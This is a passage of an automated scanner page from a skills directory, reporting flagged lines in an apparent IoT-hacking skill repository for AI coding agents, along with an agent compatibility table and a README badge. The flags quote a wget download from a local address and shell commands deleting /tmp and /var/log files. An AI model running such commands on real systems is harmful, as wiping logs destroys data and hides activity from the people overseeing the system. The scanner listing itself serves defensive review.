    # Then download from your machine: # wget http://192.168.1.100:8000/mtd2ro
  • Network accessline 244
    # wget http://192.168.1.100:8000/mtd2ro
  • Network accessline 244
    # wget http://192.168.1.100:8000/mtd2ro
  • Access to secretsline 262
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]
  • Dangerous shell operationline 385
    rm -f /tmp/*
  • Dangerous shell operationline 385
    rm -f /tmp/*
  • Dangerous shell operationline 386
    rm -f /var/log/*
  • Dangerous shell operationline 386
    rm -f /var/log/*

skills/telnetshell/telnet_helper.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

No combined signals at this commit.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md skills/apktool/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/apktool/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/apktool/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/apktool/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/apktool/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

BrownFineSecurity/iothackbot: #989 on hotskills, 880 stars

[![BrownFineSecurity/iothackbot on hotskills](https://hotskills.dev/badge/brownfinesecurity-iothackbot.svg)](https://hotskills.dev/skill/brownfinesecurity-iothackbot/)